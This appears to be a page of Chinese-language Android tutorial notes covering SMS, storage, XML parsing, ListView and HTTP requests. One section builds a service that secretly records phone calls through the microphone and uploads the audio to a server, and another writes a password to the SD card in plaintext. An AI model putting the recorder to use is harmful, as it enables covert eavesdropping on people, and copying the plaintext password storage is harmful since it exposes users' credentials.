編輯:關於Android編程
Intent intent = new Intent();
intent.setAction(Intent.ACTION_CALL);
intent.setData(Uri.parse("tel:"+number));
startActivity(intent);
2 發送短信的操作 短信過長時 拆分短信 一條短信最大的文本長度 是多少 ? 中文 70 漢字 英文 160字符
SmsManager smsmanager = SmsManager.getDefault();
/*
*sentIntent, deliveryIntent延期的意圖 ,
*sentintent 發送報告
*deliveryIntent 送達報告
*/
ArrayList messages = smsmanager.divideMessage(content);
for(String message : messages){
smsmanager.sendTextMessage(number, null, message, null, null);
}
3.檢測sd卡狀態,並往sd卡中寫數據。需要權限
//MEDIA_UNKNOWN:不能識別sd卡
//MEDIA_REMOVED:沒有sd卡
//MEDIA_UNMOUNTED:sd卡存在但是沒有掛載
//MEDIA_CHECKING:sd卡正在准備
//MEDIA_MOUNTED:sd卡已經掛載,可用
if(Environment.getExternalStorageState().equals(Environment.MEDIA_MOUNTED))
//返回一個File對象,其路徑是sd卡的真實路徑
File file = new File(Environment.getExternalStorageDirectory(), "info.txt");
FileOutputStream fos;
try {
fos = new FileOutputStream(file);
fos.write((name + "##" + pass).getBytes());
fos.close();
} catch (Exception e) {
e.printStackTrace();
}
}
else{
Toast.makeText(this, "sd卡不可用喲親麼麼哒", 0).show();
}
}
4.判斷sd卡剩余容量。
File path = Environment.getExternalStorageDirectory();
StatFs stat = new StatFs(path.getPath());
long blockSize;
long totalBlocks;
long availableBlocks;
//獲取當前系統版本的等級
if(Build.VERSION.SDK_INT >= Build.VERSION_CODES.JELLY_BEAN_MR2){ //4.3版本後開始起作用
blockSize = stat.getBlockSizeLong();
totalBlocks = stat.getBlockCountLong();
availableBlocks = stat.getAvailableBlocksLong();
} else{ //否則使用舊的api
blockSize = stat.getBlockSize();
totalBlocks = stat.getBlockCount();
availableBlocks = stat.getAvailableBlocks();
}
TextView tv = (TextView) findViewById(R.id.tv);
tv.setText(formatSize(availableBlocks * blockSize));
5使用xml序列化器生成xml文件
//1.拿到序列化器對象
XmlSerializer xs = Xml.newSerializer();
//2.初始化
File file = new File("sdcard/sms2.xml");
try {
FileOutputStream fos = new FileOutputStream(file);
//enconding:指定用什麼編碼生成xml文件
xs.setOutput(fos, "utf-8");
//3.開始生成xml文件
//enconding:指定頭結點中的enconding屬性的值
xs.startDocument("utf-8", true);
xs.startTag(null, "message");
for (Message sms : smsList) {
xs.startTag(null, "sms");
xs.startTag(null, "body");
xs.text(sms.getBody() + "
"); xs.endTag(null, "body"); xs.startTag(null, "date"); xs.text(sms.getDate()); xs.endTag(null, "date"); xs.startTag(null, "type"); xs.text(sms.getType()); xs.endTag(null, "type"); xs.startTag(null, "address"); xs.text(sms.getAddress()); xs.endTag(null, "address"); xs.endTag(null, "sms"); } xs.endTag(null, "message"); //告訴序列化器,文件生成完畢 xs.endDocument(); } catch (Exception e) { // TODO Auto-generated catch block e.printStackTrace(); }
6.解析xml文件
//獲取到src文件夾下的資源文件
InputStream is = getClassLoader().getResourceAsStream("weather.xml");
//拿到pull解析器對象
XmlPullParser xp = Xml.newPullParser();
//初始化
try {
xp.setInput(is, "gbk");
//獲取當前節點的事件類型,通過事件類型的判斷,我們可以知道當前節點是什麼節點,從而確定我們應該做什麼操作
int type = xp.getEventType();
City city = null;
while(type != XmlPullParser.END_DOCUMENT){
//根據節點的類型,要做不同的操作
switch (type) {
case XmlPullParser.START_TAG:
// 獲取當前節點的名字
if("weather".equals(xp.getName())){
//創建city集合對象,用於存放city的javabean
cityList = new ArrayList();
}
else if("city".equals(xp.getName())){
//創建city的javabean對象
city = new City();
}
else if("name".equals(xp.getName())){
// 獲取當前節點的下一個節點的文本
String name = xp.nextText();
city.setName(name);
}
else if("temp".equals(xp.getName())){
// 獲取當前節點的下一個節點的文本
}
else if("pm".equals(xp.getName())){
// 獲取當前節點的下一個節點的文本
}
break;
case XmlPullParser.END_TAG:
if("city".equals(xp.getName())){
}
break;
}
//把指針移動到下一個節點,並返回該節點的事件類型
type = xp.next();
}
} catch (Exception e) {
e.printStackTrace();
}
7 listview優化
1)復用convertView
View v = null;
//判斷條目是否有緩存
if(convertView == null){
//把布局文件填充成一個View對象
v = View.inflate(MainActivity.this, R.layout.item_listview, null);
}else{
v = convertView;
}
2)利用viewHolder,返回一個View對象,作為listview的條目顯示至界面
public View getView(int position, View convertView, ViewGroup parent) {
News news = newsList.get(position);
View v = null;
ViewHolder mHolder;
if(convertView == null){
v = View.inflate(MainActivity.this, R.layout.item_listview, null);
mHolder = new ViewHolder();
//把布局文件中所有組件的對象封裝至ViewHolder對象中
mHolder.tv_title = (TextView) v.findViewById(R.id.tv_title);
mHolder.tv_detail = (TextView) v.findViewById(R.id.tv_detail);
mHolder.tv_comment = (TextView) v.findViewById(R.id.tv_comment);
mHolder.siv = (SmartImageView) v.findViewById(R.id.iv);
//把ViewHolder對象封裝至View對象中
v.setTag(mHolder);
}else{
v = convertView;
mHolder = (ViewHolder) v.getTag();
}
//給三個文本框設置內容
mHolder.tv_title.setText(news.getTitle());
mHolder.tv_detail.setText(news.getDetail());
mHolder.tv_comment.setText(news.getComment() + "條評論");
//給新聞圖片imageview設置內容
mHolder.siv.setImageUrl(news.getImageUrl());
return v;
}
class ViewHolder{
//條目的布局文件中有什麼組件,這裡就定義什麼屬性
TextView tv_title;
TextView tv_detail;
TextView tv_comment;
SmartImageView siv;
}
8 junit 測試框架的使用
1)在manifest中添加上下列代碼
2)在application下添加以下代碼
3)創建測試類繼承AndroidTestCase類
4)編寫測試方法
10 采用get方式提交數據 原理:拼裝url
String param1 = URLEncoder.encode(name);
String param2 = URLEncoder.encode(password);
URL url = new URL(path + "?name=" + param1 + "&password=" + param2);
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
conn.setRequestMethod("GET");
conn.setReadTimeout(5000);
// 數據並沒有發送給服務器
// 獲取服務器返回的流信息
InputStream is = conn.getInputStream();
11 提交中文時會產生亂碼問題
1)服務器端問題 Tomcat 默認編碼為iso8859-1 而提交的數據編碼為utf-8
處理方法:服務器端onPost方法中
Sring name=request.getParameter("name");
if(name!=null){
name=new String(name.getBytes("iso8859-1"),"utf-8");
}
2)安卓端的問題 提交的url中文要編碼
解決辦法
String param1 = URLEncoder.encode(name);
String param2 = URLEncoder.encode(password);
URL url = new URL(path + "?name=" + param1 + "&password=" + param2);
12 采用post方法提交數據
1)get 一次提交的數據數據量比較小 4K 內部其實通過組拼url的方式
post 可以提交比較大的數據 form表單的形式 流的方式寫到服務器
public static String sendDataByPost(String path, String name,String password) throws Exception {
String param1 = URLEncoder.encode(name);
String param2 = URLEncoder.encode(password);
URL url = new URL(path);
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
String data = "name=" + param1 + "&password=" + param2;
conn.setRequestMethod("POST");
conn.setConnectTimeout(5000);
// 設置 http協議可以向服務器寫數據
conn.setDoOutput(true);
// 設置http協議的消息頭 設置提交的數據類型為表單類型
conn.setRequestProperty("Content-Type",
"application/x-www-form-urlencoded");
conn.setRequestProperty("Content-Length", data.length() + "");
// 把我們准備好的data數據寫給服務器
OutputStream os = conn.getOutputStream();
os.write(data.getBytes());
// httpurlconnection 底層實現 outputstream 是一個緩沖輸出流
// 只要我們獲取任何一個服務器返回的信息 , 數據就會被提交給服務器 , 得到服務器返回的流信息
int code = conn.getResponseCode();
if (code == 200) {
InputStream is = conn.getInputStream();
byte[] result = StreamTool.getBytes(is);
return new String(result);
} else {
throw new IllegalStateException("服務器狀態異常");
}
}
2)處理中文 亂碼
String param1 = URLEncoder.encode(name);
String param2 = URLEncoder.encode(password);
URL url = new URL(path);
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
String data = "name=" + param1 + "&password=" + param2;
13 由於面向http協議提交數據很麻煩,所以gogole提供了一套簡單api httpclient來模擬浏覽器 使用httpclient get方式提交數據
/**
* httpclient 浏覽器的簡單包裝
* new HttpClient 就相當於得到了一個浏覽器
*/
public static String sendDataByHttpClientGet (String path , String name,String password) throws Exception{
//1. 獲取到一個浏覽器的實例
HttpClient client = new DefaultHttpClient();
//2. 准備請求的地址
String param1 = URLEncoder.encode(name);
String param2 = URLEncoder.encode(password);
HttpGet httpGet = new HttpGet(path + "?name=" + param1 + "&password=" + param2);
//3. 發請求
HttpResponse ressponse = client.execute(httpGet);
int code = ressponse.getStatusLine().getStatusCode();
if(code == 200){
InputStream is =ressponse.getEntity().getContent();
byte[] result = StreamTool.getBytes(is);
return new String(result);
}
else{
throw new IllegalStateException("服務器狀態異常");
}
}
14 采用httpclient post方式提交數據
public static String sendDataByHttpClientPost(String path , String name,String password) throws Exception{
//1. 獲取到一個浏覽器的實例
HttpClient client = new DefaultHttpClient();
//2. 准備要請求的 數據類型
HttpPost httppost = new HttpPost(path);
// 鍵值對
List< NameValuePair> parameters = new ArrayList();
parameters.add(new BasicNameValuePair("name", name));
parameters.add(new BasicNameValuePair("password", password));
UrlEncodedFormEntity entity = new UrlEncodedFormEntity(parameters, "utf-8");
//3.設置post請求的數據實體
httppost.setEntity(entity);
//4. 發送數據給服務器
HttpResponse ressponse = client.execute(httppost);
int code = ressponse.getStatusLine().getStatusCode();
if(code == 200){
InputStream is =ressponse.getEntity().getContent();
byte[] result = StreamTool.getBytes(is);
return new String(result);
}
else{
throw new IllegalStateException("服務器狀態異常");
}
}
15 短信監聽器獲取短信的操作在onreceive方法中
// intent 存放的有接收到的短信的內容
Object[] pdus = (Object[]) intent.getExtras().get("pdus");
for(Object pdu:pdus){
SmsMessage message = SmsMessage.createFromPdu((byte[])pdu);
// 獲取短信的正文內容
final String content = message.getMessageBody();
//獲取短信的發送者
final String address = message.getOriginatingAddress();
16 四大組件service的使用 服務是運行在主線程中的。 AndroidManifest中配置組件
啟動服務 :
Intent intent = new Intent(this,PhoneListenService.class);
startService(intent);
1 在服務裡實現電話監聽
權限: 監聽電話狀態
監聽sd卡狀態
寫外部存儲設備
錄音 使用mic
訪問互聯網
public class PhoneListenService extends Service {
public IBinder onBind(Intent intent) {
return null;
}
//2. onCreate方法在服務第一次被創建的時候 執行
public void onCreate() {
super.onCreate();
setForeground(true); //提升為前台進程
// 1. 判斷當前手機的狀態,
// 如果發現手機處於 通話狀態
// 創建一個錄音器, 錄下來用戶的通話信息
// 當發現手機再次處於 idle 狀態 停止錄音機,把音頻文件 上傳到服務器
// 得到手機與電話狀態相關的服務
TelephonyManager manager = (TelephonyManager) this
.getSystemService(TELEPHONY_SERVICE);
//監聽電話狀態
manager.listen(new MyPhoneListener(),PhoneStateListener.LISTEN_CALL_STATE);
}
private class MyPhoneListener extends PhoneStateListener {
MediaRecorder recorder = null;
/**
*當電話的通話狀態發生改變的時候 被調用的方法
*/
@Override
public void onCallStateChanged(int state, String incomingNumber) {
try {
switch (state) {
case TelephonyManager.CALL_STATE_IDLE: // 當前電話處於閒置狀態
System.out.println("當前電話處於閒置狀態 ");
// 判斷下recorder是否為空
if(recorder!=null){
recorder.stop();
recorder.release(); // Now the object cannot be reused
recorder = null;
new Thread(){
@Override
public void run() {
// 上傳數據到服務器 演示的代碼 有問題的
File file = new File("/sdcard/temp.3gp");
try {
upload(file);
} catch (Exception e) {
e.printStackTrace();
}
}
}.start();
}
break;
case TelephonyManager.CALL_STATE_RINGING: // 當前電話處於零響狀態
System.out.println("電話號碼為 " + incomingNumber);
break;
case TelephonyManager.CALL_STATE_OFFHOOK: // 當前電話處於接聽狀態
System.out.println("當前電話處於通話狀態 ");
// 初始化一個錄音器,
recorder = new MediaRecorder();
recorder.setAudioSource(MediaRecorder.AudioSource.MIC);
recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
recorder.setOutputFile("/sdcard/temp.3gp");
recorder.prepare();
recorder.start(); // Recording is now started
break;
}
} catch (Exception e) {
e.printStackTrace();
}
super.onCallStateChanged(state, incomingNumber);
}
}
public void upload(File file) throws Exception{
// 實例化上傳數據的 數組 part []
Part[] parts = {
new FilePart("file",file)};
PostMethod filePost = new PostMethod("http://192.168.1.247:8080/web/LoginServlet");
filePost.setRequestEntity(new MultipartRequestEntity(parts, filePost.getParams()));
org.apache.commons.httpclient.HttpClient client = new org.apache.commons.httpclient.HttpClient();
client.getHttpConnectionManager().getParams()
.setConnectionTimeout(5000);
int status = client.executeMethod(filePost);
if(status==200){
System.out.println("上傳成功");
}
else{
throw new IllegalStateException("服務器狀態異常");
}
}
}
13service的生命周期
oncreate() 服務創建時候調用的方法
onstart() 服務開啟時候調用的方法
ondestroy() 服務停止時候調用的方法
兩種服務開啟方式
1)通過startservice()開始服務 StopService()結束服務。
2)綁定方式
參數 1 intent 2 serviceConnection接口 3 Context.BIND_AUTO_CREATE 綁定的時候服務不存在的時候會自動創建
bindService(service,conn,flags);
unBindService
對於前端開發,Fiddler應該是比較常用的網絡請求監聽工具了,之前為了跨平台還想使用wireshark,但是發現相比起來不太友好,折騰過後才發現原來Fiddler也有l
盡管Android向下兼容不好,但是一個程序還是可以在多個平台上跑的。向下兼容不好,接口改變,新的平台上不能用舊的API,舊的平台更不可能用新的API,不等於一個平台需要
京東客戶端的輪播文字效果:本次要實現的只是後面滾動的文字(前面的用ImageView或者TextView實現即可),看一下實現的效果實現思路上圖只是一個大概的思路,要實現
正文 進入正題,主要講解viewpager+fragment實現微信滑動切換頁面的功能,並且附帶切換效果,功能其實並不難,只是需要把知識點關聯起來1.分析用到的知識點(1